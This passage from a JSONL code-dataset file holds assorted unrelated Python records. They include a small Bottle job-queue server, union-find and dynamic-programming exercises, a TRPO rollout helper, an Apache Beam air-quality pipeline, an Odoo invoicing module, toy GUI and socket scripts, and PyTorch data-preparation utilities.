mode_mapping_inverse[int(row[stream])]\n else:\n filtered_row[stream] = row[stream]\n else:\n filtered_row[stream] = 'Pending'\n elif format_ == 'default':\n filtered_row[stream] = row[stream]\n\n output.append(filtered_row)\n if count == limit:\n break\n return {'r': output}\n\n stream_list = streams.split('|')\n stream_string = ''\n for stream in stream_list:\n stream_string = stream_string + stream\n\n\n@route('/api/cmd', method='POST')\ndef cmd():\n postdata = request.body.read()\n try:\n data = json.loads(postdata)\n except Exception as e:\n return {'Error': str(e)}\n\n cmd_conn = sqlite3.connect('cmd.db')\n cmd_conn.execute('INSERT INTO jobs (cmd, status) VALUES (?, 0)', (data['cmd'], ))\n cmd_conn.commit()\n return {'r': 'Command Requested'}\n\n\n\nrun(host='localhost', port=8080)\n\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"103080373","text":"class Graph(object):\n\n maps = {}\n\n class Node(object):\n\n def __init__(self,data):\n\n self.value = data\n self.rank = 0\n self.parent = None\n\n def makeSet(self,data):\n node = self.Node(data)\n node.parent = node\n self.maps[data] = node\n\n def union(self,data1,data2):\n node1 = self.maps[data1]\n node2 = self.maps[data2]\n parent1 = self.findParent(node1)\n parent2 = self.findParent(node2)\n if parent1 == parent2:\n return\n elif parent1.rank >= parent2.rank:\n parent2.parent = parent1\n parent1.rank+=1\n else:\n parent1.parent = parent2\n parent2.rank+=1\n\n def findParent(self,node):\n parent = node.parent\n if parent == node:\n return parent\n else:\n node.parent = self.findParent(parent)\n return node.parent\n\nss = Graph()\nss.makeSet(1)\nss.makeSet(2)\nss.makeSet(3)\nss.makeSet(4)\nss.makeSet(5)\n\nss.union(1, 2)\nss.union(1, 3)\nss.union(4, 5)\n\nfor i in range(1,6):\n node = ss.maps[i]\n print(ss.findParent(node).value)\n\nss.union(5, 2)\nprint('')\nprint('')\n\nfor i in range(1,6):\n node = ss.maps[i]\n print(ss.findParent(node).value)\n\n\n\n\n\n\n","sub_path":"Day1/disjointsets_union_and_path_compression.py","file_name":"disjointsets_union_and_path_compression.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"650868221","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 29 13:56:01 2018\n\n@author: thinkpad\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 8 08:51:00 2018\n\n@author: gamer\n\"\"\"\nimport dummy_obj\nimport numpy as np\nimport scipy.signal\nfrom utils.console import Progbar\nEPS = np.finfo(np.float32).tiny\n\nclass TRPORoller(object):\n \n def __init__(self, env, agent, memory_max):\n \n self.env = env\n \n self.agent = agent\n\n self.memory_max = memory_max\n \n self.progbar = Progbar(self.memory_max)\n \n self.memory = dummy_obj.Memory(self.memory_max,[\"t\",\"state\",\"action\",\"proba\",\"reward\",\"return\",\"terminated\"])\n\n def rollout(self,num_steps):\n \n collected = 0 \n self.progbar.__init__(num_steps)\n while collected < num_steps:\n collected += self.get_episode(num_steps-collected)\n \n # scramble\n \n # vectorize results\n \n roll = self.memory.random_sample(num_steps) \n\n # calcualte advantage\n #if self.policy:\n # self.compute_advantage()\n return roll\n \n\n def get_episode(self,length):\n \n state = self.env.reset()\n self.agent.set_epsilon(1)\n episode = self.memory.empty_episode()\n i = 0\n while i= 1\n return scipy.signal.lfilter([1],[1,-gamma],x[::-1], axis=0)[::-1] \n\n\ndef normalize(v):\n norm = np.linalg.norm(v)\n v_tmp = v-np.mean(v)\n if norm < EPS: \n return v_tmp\n return v_tmp/np.max(np.abs(v_tmp))\n\n","sub_path":"rollers/trporoller.py","file_name":"trporoller.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"425018768","text":"class Solution(object):\n def uniquePaths(self, m, n):\n \"\"\"\n :type m: int\n :type n: int\n :rtype: int\n \"\"\"\n res = []\n row = [0] * (m - 1)\n col = [1] * (n - 1)\n mertix = row + col\n used = [False] * len(mertix)\n def backtrack(index, pre):\n if index == len(mertix):\n res.append(pre.copy())\n return\n for i in range(len(mertix)):\n if not used[i]:\n # 如果当前值和之前的值相等并且还没有使用过,跳过\n if i > 0 and mertix[i] == mertix[i - 1] and not used[i - 1]:\n #print('跳过')\n continue\n used[i] = True\n pre.append(mertix[i])\n #print(index)\n #print(used)\n #print(pre, '\\n')\n backtrack(index + 1, pre)\n used[i] = False\n pre.pop()\n backtrack(0, [])\n return len(res)\nsolve = Solution()\nprint(solve.uniquePaths(3, 2))\nprint(solve.uniquePaths(7, 3))","sub_path":"(62)UniquePaths/wallaceplayfrog.py","file_name":"wallaceplayfrog.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"521119465","text":"from __future__ import absolute_import\n\nimport argparse\nfrom google.cloud import logging\nimport json\n\nimport apache_beam as beam\nfrom apache_beam.options.pipeline_options import PipelineOptions\nfrom apache_beam.options.pipeline_options import SetupOptions\nimport requests\nimport time\nfrom settings import PROJECT_ID, REGION, BUCKET_NAME, JOB_NAME, RUNNER, INCOMING_PUBSUB_SUBSCRIPTION, OUTGOING_PUBSUB_TOPIC, AQ_API_KEY\n\n\naq_baseurl = 'http://api.airvisual.com/v2/city'\n\nversion = {}\nwith open(\"./version.py\") as fp:\n exec(fp.read(), version)\n\nclass GetAirQuality(beam.DoFn):\n def process(self, element):\n decoded_data = element.data.decode(\"utf-8\")\n data = json.loads(decoded_data)\n\n api_url = f\"{aq_baseurl}?city=Richmond&state=Virginia&country=USA&key={AQ_API_KEY}\"\n r = requests.get(api_url)\n\n aq_dict = r.json()\n air_q = data['air_quality']\n air_q.append(aq_dict)\n data['air_quality'] = air_q\n currentTime = time.time()\n data['ma_arrival'] = currentTime\n uuid = data['uuid']\n enriched_bird_str = json.dumps(data).encode('utf-8')\n updated_element = element\n updated_element.data = enriched_bird_str\n\n client = logging.Client()\n log_name = data['uuid']\n logger = client.logger(log_name)\n logger.log_text(f\"MID ATLANTIC, v.{version['__version__']}, uuid: {uuid}, Elapsed time since last step: {currentTime - data['ne_arrival']}\")\n\n yield updated_element\n\n\ndef run(argv=None, save_main_session=True):\n \"\"\"Build and run the pipeline.\"\"\"\n parser = argparse.ArgumentParser()\n known_args, pipeline_args = parser.parse_known_args(argv)\n pipeline_args.extend([\n f'--runner={RUNNER}',\n f'--project={PROJECT_ID}',\n f'--region={REGION}',\n f'--staging_location=gs://{BUCKET_NAME}/staging',\n f'--temp_location=gs://{BUCKET_NAME}/temp',\n f'--job_name={JOB_NAME}',\n '--setup_file=\"./setup.py\"',\n '--streaming'\n ])\n\n pipeline_options = PipelineOptions(pipeline_args)\n pipeline_options.view_as(SetupOptions).save_main_session = save_main_session\n\n with beam.Pipeline(options=pipeline_options) as p:\n\n incoming_birds = p | 'Read Messages From depart_ne PubSub' >> beam.io.ReadFromPubSub(\n subscription=f\"projects/{PROJECT_ID}/subscriptions/{INCOMING_PUBSUB_SUBSCRIPTION}\",\n with_attributes=True)\n\n enriched_birds = incoming_birds | 'Get air quality data' >> beam.ParDo(GetAirQuality())\n\n enriched_birds | \"Write to depart_ma PubSub\" >> beam.io.WriteToPubSub(topic=f\"projects/{PROJECT_ID}/topics/{OUTGOING_PUBSUB_TOPIC}\",with_attributes=True)\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"pipeline/mid_atlantic/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"153117679","text":"# -*- coding: utf-8 -*-\n##########################################################################\n#\n# Copyright (c) 2016-Present Webkul Software Pvt. Ltd. ()\n# Author : www.webkul.com\n#\n##########################################################################\n\n\nfrom openerp import models, fields, api, _\nfrom openerp.exceptions import except_orm, Warning, RedirectWarning\nimport datetime as a\nfrom datetime import timedelta\nfrom lxml import etree\n\n\nclass account_invoice(models.Model):\n _inherit = 'account.invoice'\n _description = \"Invoice\"\n\n seller_invoice_number = fields.Char(\n string='Seller Invoice Number', readonly=True, states={'draft': [('readonly', False)]}, translate=True)\n is_seller = fields.Boolean(string=\"Seller?\", related=\"partner_id.seller\")\n\n @api.model\n def fields_view_get(self, view_id=None, view_type=False, toolbar=False, submenu=False):\n context = self._context\n\n res = super(account_invoice, self).fields_view_get(\n view_id, view_type, toolbar, submenu)\n doc = etree.XML(res['arch'])\n if context.get('type') in ('in_invoice', 'in_refund') and context.get('is_seller') is True:\n partner_string = _('Seller')\n partner_ref_string = _('Seller Reference')\n for node in doc.xpath(\"//field[@name='reference']\"):\n node.set('invisible', '0')\n node.set('string', partner_ref_string)\n for node in doc.xpath(\"//field[@name='partner_id']\"):\n node.set('string', partner_string)\n node.set('domain', \"[('seller','=',True)]\")\n\n res['arch'] = etree.tostring(doc)\n return res\n\n @api.multi\n def confirm_paid(self):\n self.create_seller_invoice_new()\n res = super(account_invoice, self).confirm_paid()\n\n if self.type in ['in_invoice', 'in_refund']:\n seller_payment = self.env[\"seller.payment\"].search(\n [(\"invoice_id\", \"=\", self.id)])\n if seller_payment and seller_payment.payment_mode == \"seller_payment\" and self.state == \"paid\":\n seller_payment.write({'state': \"posted\"})\n return res\n\n @api.model\n def calculate_commission(self, list_price, seller_id):\n config_setting_obj = self.env[\n 'marketplace.config.settings'].get_default_values()\n seller_obj = self.env[\"res.partner\"].browse(seller_id)\n commission = seller_obj.commission\n comm_factor = (list_price * (commission / 100))\n price_unit = list_price - comm_factor\n if config_setting_obj['invoicing_type'] == \"by_customer_and_seller\":\n return price_unit\n else:\n return comm_factor\n\n @api.multi\n def create_seller_invoice_new(self):\n for invoice_obj in self:\n sellers = {\"seller_ids\": {}}\n if invoice_obj.type in ['out_invoice', 'out_refund']:\n for invoice_line_obj in invoice_obj.invoice_line_ids:\n seller_id = invoice_line_obj.product_id.marketplace_seller_id.id if invoice_line_obj.product_id.marketplace_seller_id else False\n if seller_id:\n if sellers[\"seller_ids\"].has_key(seller_id):\n # ADD all product\n sellers[\"seller_ids\"][seller_id][\"invoice_line_payment\"].append(\n self.calculate_commission(invoice_line_obj.price_subtotal, seller_id))\n else:\n sellers[\"seller_ids\"] = dict(sellers[\"seller_ids\"], **{seller_id:\n {\"invoice_line_payment\": [self.calculate_commission(invoice_line_obj.price_subtotal, seller_id)]}})\n sellers.update({\n \"invoive_type\": invoice_obj.type,\n \"invoice_id\": invoice_obj.id,\n \"payment_mode\": \"order_paid\" if invoice_obj.type == \"out_invoice\" else \"order_refund\",\n \"description\": _(\"Order Invoice Payment\") if invoice_obj.type == \"out_invoice\" else _(\"Order Invoice Refund\"),\n \"payment_type\": \"cr\" if invoice_obj.type == \"out_invoice\" else \"dr\",\n \"state\": \"draft\",\n \"memo\": invoice_obj.origin,\n })\n self.create_seller_payment_new(sellers)\n\n @api.model\n def create_seller_payment_new(self, sellers_dict):\n if sellers_dict:\n vals = {\n \"invoice_id\": sellers_dict[\"invoice_id\"],\n \"payment_type\": sellers_dict[\"payment_type\"],\n \"payment_mode\": sellers_dict[\"payment_mode\"],\n \"description\": sellers_dict[\"description\"],\n \"memo\": sellers_dict[\"memo\"],\n \"state\": \"confirm\"\n }\n for seller in sellers_dict[\"seller_ids\"].keys():\n payment_method_ids = self.env[\n \"res.partner\"].browse(seller).payment_method.ids\n if payment_method_ids:\n payment_method = payment_method_ids[0]\n else:\n payment_method = False\n vals.update({\"seller_id\": seller})\n vals.update({\"payment_method\": payment_method})\n total_amount = 0\n for amount in sellers_dict[\"seller_ids\"][seller][\"invoice_line_payment\"]:\n total_amount += amount\n vals.update({\"payable_amount\": total_amount})\n seller_payment_id = self.env['seller.payment'].create(vals)\n\n @api.model\n def create_seller_payment(self, invoice_line_obj, seller_id):\n\n if invoice_line_obj.invoice_id.type in [\"in_refund\", \"in_invoice\"]:\n return\n payment_method_ids = self.env[\"res.partner\"].browse(\n seller_id).payment_method.ids\n if payment_method_ids:\n payment_method = payment_method_ids[0]\n else:\n payment_method = False\n\n if invoice_line_obj.invoice_id.type == 'out_invoice':\n vals = {\n \"name\": invoice_line_obj.origin,\n \"seller_id\": seller_id,\n \"payment_method\": payment_method,\n \"description\": \"Seller Payment\",\n \"order_id\": invoice_line_obj.sale_line_ids[0].order_id.id if invoice_line_obj.sale_line_ids else False,\n \"order_line_id\": invoice_line_obj.sale_line_ids[0].id if invoice_line_obj.sale_line_ids else False,\n \"order_total\": invoice_line_obj.price_subtotal,\n \"payable_amount\": self.calculate_commission(invoice_line_obj.price_subtotal, seller_id),\n \"payment_type\": \"cr\",\n \"payment_mode\": \"order_paid\",\n \"invoice_id\": invoice_line_obj.invoice_id.id,\n }\n\n if invoice_line_obj.invoice_id.type == 'out_refund':\n invoice_obj = self.env[\"account.invoice\"].search(\n [(\"number\", '=', invoice_line_obj.invoice_id.origin)])\n if invoice_obj:\n sale_order_obj = self.env[\"sale.order\"].search(\n [(\"name\", '=', invoice_obj.origin)])\n vals = {\n \"name\": invoice_line_obj.origin,\n \"seller_id\": seller_id,\n \"payment_method\": payment_method,\n \"description\": _(\"Seller Payment\"),\n \"order_id\": sale_order_obj.id,\n \"product\": invoice_line_obj.product_id.id,\n \"order_total\": invoice_line_obj.price_subtotal,\n \"payable_amount\": self.calculate_commission(invoice_line_obj.price_subtotal, seller_id),\n \"payment_type\": \"dr\",\n \"payment_mode\": \"order_refund\",\n \"invoice_id\": invoice_line_obj.invoice_id.id,\n }\n\n seller_payment_id = self.env['seller.payment'].create(vals)\n return seller_payment_id\n","sub_path":"odoo_marketplace/models/account_invoice.py","file_name":"account_invoice.py","file_ext":"py","file_size_in_byte":7978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"287435041","text":"# https://codingbat.com/prob/p107863\n\nfrom tkinter import *\n \nroot = Tk()\n \ne = Entry(root, width=25, borderwidth=15,font=(\"Courier\", 44))\ne.grid(row=0,column=0,columnspan=1,padx=10,pady=10)\nf = Entry(root, width=25, borderwidth=15,font=(\"Courier\", 44))\nf.grid(row=1,column=0,columnspan=1,padx=10,pady=10)\ng = Entry(root, width=25, borderwidth=15,font=(\"Courier\", 44))\ng.grid(row=2,column=0,columnspan=1,padx=10,pady=10)\n \ndef button_click(): \n a = e.get()\n e.delete(0,END)\n b = f.get()\n f.delete(0,END)\n c = g.get()\n g.delete(0,END)\n \n if a==\"13\":\n ans = 0\n elif b==\"13\":\n ans = a\n elif c==\"13\":\n ans = int(a)+int(b)\n else:\n ans = int(a)+int(b)+int(c)\n e.insert(0,ans)\n \nbutton_equal = Button(root,text=\"CALCULATE\",padx=91,pady=20,command=lambda: button_click())\nbutton_equal.grid(row=5,column=0,columnspan=3)\n \nroot.mainloop()\n","sub_path":"6 luck sum.py","file_name":"6 luck sum.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"12492262","text":"OUTPUT_FILE = \"name.txt\"\nfile_out = open(OUTPUT_FILE, \"w\")\nname = input(\"Please Enter your name: \")\nprint(\"Your name is: \" + str(name), file=file_out)\n\n\n\n# program that return the sum of all numbers in numbers.txt\nanswer = 0\n# 1 open the file\nfile = open(\"numbers.txt\", \"r\")\n\n# 2, read the file\nfor line in file:\n answer += (int(line))\n\n# 3, answer the question\nprint(answer)\n\n# 4 close the file\nfile.close()\n","sub_path":"Prac2/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"8206500","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# This file is part of the minifold project.\n# https://github.com/nokia/minifold\n\n__author__ = \"Marc-Olivier Buob\"\n__maintainer__ = \"Marc-Olivier Buob\"\n__email__ = \"marc-olivier.buob@nokia-bell-labs.com\"\n__copyright__ = \"Copyright (C) 2018, Nokia\"\n__license__ = \"BSD-3\"\n\nimport json, sys\nfrom minifold.connector import Connector\nfrom minifold.singleton import Singleton\n\n# Example of configuration\n\nDEFAULT_MINIFOLD_CONFIG = \"\"\"{\n \"dblp:dagstuhl\" : {\n \"type\" : \"minifold.dblp.DblpConnector\",\n \"args\" : {\n \"dblp_api_url\" : \"https://dblp.dagstuhl.de\"\n }\n },\n \"dblp:uni-trier\" : {\n \"type\" : \"minifold.dblp.DblpConnector\",\n \"args\" : {\n \"dblp_api_url\" : \"https://dblp.uni-trier.de\"\n }\n }\n}\"\"\"\n\n# Usage:\n# from minifold.dblp import DblpConnector\n# config = Config()\n# config.loads(DEFAULT_MINIFOLD_CONFIG)\n# dblp1 = config.make_connector(\"dblp:dagstuhl\")\n# dblp2 = config.make_connector(\"dblp:uni-trier\")\n\nclass Config(dict, metaclass=Singleton):\n def loads(self, s_json :str):\n self.update(json.loads(s_json))\n\n def load(self, stream):\n self.update(json.load(stream))\n\n def load_file(self, filename :str):\n with open(filename, \"r\") as f:\n self.load(f)\n\n def make_connector(self, name :str):\n conf = self.get(name)\n if not conf:\n raise KeyError(\n \"Config: Key [%s] not found. Known configuration are:\\n%s\\n\" % (\n name,\n \"\\n\\t\".join([str(k) for k in self.keys()])\n )\n )\n type = conf[\"type\"]\n cls = Connector.subclasses.get(type)\n if not cls:\n raise KeyError(\n \"Config: Connector [%s] not found. Known connectors are:\\n%s\\n\" % (\n type,\n \"\\n\\t\".join([str(k) for k in Connector.subclasses.keys()])\n )\n )\n kwargs = conf.get(\"args\", dict())\n return cls(**kwargs)\n\n","sub_path":"src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"367687070","text":"import os, sys\nimport pandas as pd\nimport numpy as np\nfrom pdb import set_trace as st\n\nmodel_label = \"dropout\"\nmodel_dir = f\"result/resnet10cifar10/model_{model_label}\"\nresult_dir = os.path.join(model_dir, \"nninst_mu_posneg\")\n\nfeature_path = os.path.join(result_dir, \"forward_feature\", \"result.csv\")\nfeature = pd.read_csv(feature_path, index_col=0)\nfeature = feature.set_index(\"name\")\n# feature = feature.rename(columns={\"name\": \"attack\"})\nfeature = feature.round(2)\n\nposneg_path = os.path.join(\n result_dir, \n \"posneg_edge_0.9/clf/conv2d_12\", \n \"detection.csv\"\n)\nposneg = pd.read_csv(posneg_path, index_col=0)\nposneg = posneg.drop(columns=[\"adv_test_acc\"])\nposneg = posneg.set_index(\"attack\")\nposneg = posneg.round(2)\n\nposonly_path = os.path.join(\n result_dir,\n \"posonly_edge_0.5/clf/conv2d_12\",\n \"detection.csv\"\n)\nposonly = pd.read_csv(posonly_path, index_col=0)\nposonly = posonly.drop(columns=[\"adv_test_acc\"])\nposonly = posonly.set_index(\"attack\")\nposonly = posonly.round(2)\n\n\nresult = pd.concat({\n \"Feature\": feature,\n \"NNSlicer\": posneg,\n \"EffectivePath\": posonly,\n}, axis=1)\n\nprint(result)\n\nst()","sub_path":"submissions/available/NNSlicer/NNSlicer/logics/cifar10/agg_adv_result.py","file_name":"agg_adv_result.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"251702084","text":"#!/usr/bin/python3\t\t# This is client.py file\n\nimport socket\t\t\t# Import socket module\nmessage=''\ns = socket.socket()\t\t# Create a socket object\nhost = socket.gethostname()\t# Get local machine name\nhostname=host\nusr_input=''\nif(len(host)<16):\n\thostname+=(16-len(host))*' '\nelse:\n\thostname=host[0:15]\n\nport = 12345\t\t\t# Reserve a port for your service.\n\ns.connect((host, port))\nprint('getting chatlog...')\nchatlog=s.recv(4096)\nprint('...done')\nprint(str(chatlog.decode('utf-8','strict'))[2:-1])\nusr_input=str(input('\\nYou say: '))\nif(len(usr_input)<140):\n\tusr_input+=(140-len(usr_input))*' '\nelse:\n\tusr_input=usr_input[0:139]\nmessage=bytes(str(hostname)+'>> '+usr_input,'utf-8')\nprint('sending...')\ns.sendall(message)\nprint('...done')\ns.close()\t\t\t# Close the socket when done","sub_path":"pythonstuff/socket/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"260893865","text":"import tornado.web\nimport tornado.ioloop\nimport tornado.httpserver\nimport divaserve\nimport json\n\n\"\"\"\nThis is a sample server.py file for incorporating the divaserve module\ninto the Tornado web server. By default, this is configured to\nhandle a request for:\n\n http://example.com/divaserve?d=my_document_images\n\nand assumes that \"/divaserve\" is set as your divaserveURL in your diva.js\ninstantiation.\n\n\"\"\"\n\nimg_server = divaserve.DivaServe()\n\n\nclass DivaHandler(tornado.web.RequestHandler):\n def get(self):\n \"\"\"\n Grab the document directory. This is passed as a ?d argument, e.g.,\n 'http://www.example.com/divaserve?d=my_document_images'\n This assumes that the folder:\n /path/to/image/collections/my_document_images\n exists, and that:\n /path/to/image/collections\n is set as your conf.IMG_DIR variable in the divaserve module.\n \"\"\"\n docdir = self.get_argument('d')\n self.set_header(\"Content-Type\", \"application/json\")\n js = img_server.getc(docdir)\n self.write(json.dumps(js))\n\napplication = tornado.web.Application([\n (\"/divaserve\", DivaHandler),\n])\n\nif __name__ == \"__main__\":\n server = tornado.httpserver.HTTPServer(application)\n server.listen(8081)\n tornado.ioloop.IOLoop.instance().start()\n","sub_path":"legacy/divaserve/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"360448661","text":"from TG_GUI import gui\nimport time\nfrom tg_io.io_screen import disp, color\n\ngui.disp_block = disp._block\ngui.disp_color = color\ngui.disp_color_length = 2\n\nx = gui._block(50,20)\nx.write(0,0,(128,128,128))\nx.push(1,2)\n\nv = gui\n\n'''BLOCK.disp.fill(0)\n\nv = block(10,5)\nv.write(0,0,(255,0,255))\n\nBLOCK.disp.fill(0)\nx = gui.window(1,2,50,50)\n\nv.push(3,4)\n\ntime.sleep(10)'''","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"611304275","text":"from collections import defaultdict\n\n\ndef count_doors(regex):\n coord = 0, 0\n shifts = {\n 'N': (-1, 0),\n 'S': (1, 0),\n 'W': (0, -1),\n 'E': (0, 1)\n }\n dist = defaultdict(int)\n intersections = []\n count = 0\n for char in regex:\n if char == '(':\n intersections.append((coord, count))\n elif char == ')':\n coord, count = intersections.pop()\n elif char == '|':\n coord, count = intersections[-1]\n else:\n count += 1\n coord = coord[0] + shifts[char][0], coord[1] + shifts[char][1]\n dist[coord] = count if not dist[coord] else min(dist[coord], count)\n return max(dist.values())\n\n\nif __name__ == \"__main__\":\n with open('day20/input.txt') as inp:\n data = inp.read().strip('^$ \\n')\n\n print(count_doors(data)) # 4184\n\n","sub_path":"2018/day20/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"622279141","text":"import _pickle as pickle\nimport bz2\nimport os\nimport numpy as np\nimport ray\nfrom ray.exceptions import TaskCancelledError\nimport torch\nfrom torch.utils.data import Dataset, TensorDataset\nfrom torch.utils.data.dataset import random_split\nimport scipy.signal as signal\nimport time\n\ndef save(file:object, filename:str, path:str):\n \"\"\"\n Writes and compresses an object to the disk\n :param file:\n :param filename:\n :param path:\n :return:\n \"\"\"\n with bz2.BZ2File(os.path.join(path, filename+\".pbz2\"), \"w\") as f:\n pickle.dump(file, f)\n\n\ndef save(file:object, filepath:str):\n \"\"\"\n Writes and compresses an object to the disk\n :param file:\n :param filepath:\n :return:\n \"\"\"\n with bz2.BZ2File(filepath, \"w\") as f:\n pickle.dump(file, f)\n\n\ndef load(file_path:str):\n \"\"\"\n Loads a bzip2-compressed binary file into memory\n :param file_path:\n :return:\n \"\"\"\n with bz2.BZ2File(file_path, \"rb\") as f:\n obj = pickle.load(f)\n return obj\n\n@ray.remote\ndef loadFeatures(data, feature_list):\n data = pickle.loads(data)\n features = []\n for f in data[\"frames\"]:\n p = []\n for feature in feature_list:\n if feature == \"rotMat\":\n p.append(np.concatenate([jo[\"rotMat\"].ravel() for jo in f]))\n elif feature == \"isLeft\" or feature == \"chainPos\" or feature == \"geoDistanceNormalised\":\n p.append(np.concatenate([[jo[feature]] for jo in f]))\n else:\n p.append(np.concatenate([jo[feature] for jo in f]))\n\n p = np.concatenate(p)\n features.append(p)\n return np.vstack(features)\n\n\ndef loadFeatures_local(data, feature_list):\n data = pickle.loads(data)\n features = []\n for f in data[\"frames\"]:\n p = []\n for feature in feature_list:\n if feature == \"rotMat\":\n p.append(np.concatenate([jo[\"rotMat\"].ravel() for jo in f]))\n elif feature == \"isLeft\" or feature == \"chainPos\" or feature == \"geoDistanceNormalised\":\n p.append(np.concatenate([[jo[feature]] for jo in f]))\n else:\n p.append(np.concatenate([jo[feature] for jo in f]))\n\n p = np.concatenate(p)\n features.append(p)\n return np.vstack(features)\n\ndef processData(compressed_data, feature_list, num_cpus=24, shutdown=True):\n if not ray.is_initialized():\n ray.init(num_cpus=num_cpus,ignore_reinit_error=True)\n data = [loadFeatures.remote(d, feature_list) for d in compressed_data]\n # data = [ray.get(d) for d in data]\n data = ray.get(data)\n if shutdown:\n ray.shutdown()\n\n # data = [loadFeatures_local(d, feature_list) for d in compressed_data]\n return data\n\n\ndef normaliseT(x:torch.Tensor):\n std = torch.std(x)\n std[std==0] = 1\n return (x - torch.mean(x)) / std\n\n\ndef normaliseN(x:np.ndarray):\n std = np.std(x)\n std[std==0] = 1\n return (x-np.mean(x)) / std\n\n\ndef prepare_data(datasets:list, featureList:list,\n train_ratio:float=0.8, val_ratio:float=0.2, test_size:int=100, SEED:int=2021):\n\n # process data\n data = [processData(d, featureList, shutdown=False) for d in datasets]\n # ray.shutdown()\n input_data = [np.vstack(d) for d in data]\n x_tensors = [normaliseT(torch.from_numpy(x).float()) for x in input_data]\n y_tensors = [torch.from_numpy(x).float() for x in input_data]\n\n # prepare datasets\n test_sets = [(x_tensor[-test_size:], y_tensor[-test_size:]) for x_tensor, y_tensor in zip(x_tensors, y_tensors)]\n x_training = torch.vstack([x_tensor[:-test_size] for x_tensor in x_tensors])\n y_training = torch.vstack([y_tensor[:-test_size] for y_tensor in y_tensors])\n dataset = TensorDataset(x_training, y_training)\n N = len(x_training)\n\n train_ratio = int(train_ratio*N)\n val_ratio = int(val_ratio*N)\n train_set, val_set = random_split(dataset, [train_ratio, val_ratio], generator=torch.Generator().manual_seed(SEED))\n return train_set, val_set, test_sets\n\n\ndef prepare_data_withLabel(datasets:list, featureList:list, extra_feature_len:int=0,\n train_ratio:float=0.8, val_ratio:float=0.2, test_size:int=100, SEED:int=2021):\n # process data\n data = [processData(d, featureList, shutdown=False) for d in datasets]\n # ray.shutdown()\n input_data = [np.vstack(d) for d in data]\n x_tensors = [normaliseT(torch.from_numpy(x).float()) for x in input_data]\n y_tensors = [torch.from_numpy(x[:, :-extra_feature_len]).float() for x in input_data]\n\n # prepare datasets\n test_sets = [(x_tensor[-test_size:], y_tensor[-test_size:]) for x_tensor, y_tensor in zip(x_tensors, y_tensors)]\n x_training = torch.vstack([x_tensor[:-test_size] for x_tensor in x_tensors])\n y_training = torch.vstack([y_tensor[:-test_size] for y_tensor in y_tensors])\n dataset = TensorDataset(x_training, y_training)\n N = len(x_training)\n\n train_ratio = int(train_ratio*N)\n val_ratio = int(val_ratio*N)\n train_set, val_set = random_split(dataset, [train_ratio, val_ratio], generator=torch.Generator().manual_seed(SEED))\n return train_set, val_set, test_sets\n\n\ndef clean_checkpoints(num_keep=3, path=\"../../models\"):\n for dir, dname, files in os.walk(path):\n saved_checkpoints = []\n for fname in files:\n fname = fname.split(\".\")\n saved_checkpoints.append(fname)\n\n saved_checkpoints.sort(key=lambda x: x[0] + x[1])\n for filename in saved_checkpoints[num_keep:]:\n os.remove(os.path.join(dir, \".\".join(filename)))\n\n\ndef save_testData(test_sets, path=\"../../models\"):\n obj = {\"data\": test_sets}\n with bz2.BZ2File(path + \"test_data.pbz2\", \"w\") as f:\n pickle.dump(obj, f)\n\n\ndef normalise_block_function(block_fn:np.ndarray, window_size_half:int=30) -> np.ndarray:\n \"\"\"\n Takes an ndarray of shape(n_joints, n_frames), where 1 = contact and 0 otherwise.\n :param block_fn:\n :param n_windows:\n :return:\n \"\"\"\n Frames = block_fn.shape[1]\n t = np.arange(Frames)\n normalised_block_fn = np.zeros_like(block_fn, dtype=np.float32)\n\n for ts in t:\n low = max(ts-window_size_half, 0)\n high = min(ts+window_size_half, Frames)\n window = np.arange(low, high)\n slice = block_fn[:, window]\n mean = np.mean(slice, axis=1)\n std = np.std(slice, axis=1)\n std[std == 0] = 1\n normalised_block_fn[:, ts] = (block_fn[:, ts]-mean) / std\n\n filter = signal.butter(3, .1, \"low\", analog=False, output=\"sos\")\n normalised_block_fn = signal.sosfilt(filter, normalised_block_fn)\n return normalised_block_fn\n\n\ndef extract_contact_velocity_info(data):\n contact_info = []\n velocity_info = []\n for f in data[\"frames\"]:\n contacts = np.asarray([jo[\"contact\"] for jo in f]).astype(np.float32)\n velocity = np.concatenate([jo[\"velocity\"] for jo in f])\n\n contact_info.append(contacts)\n velocity_info.append(velocity)\n contact_info = 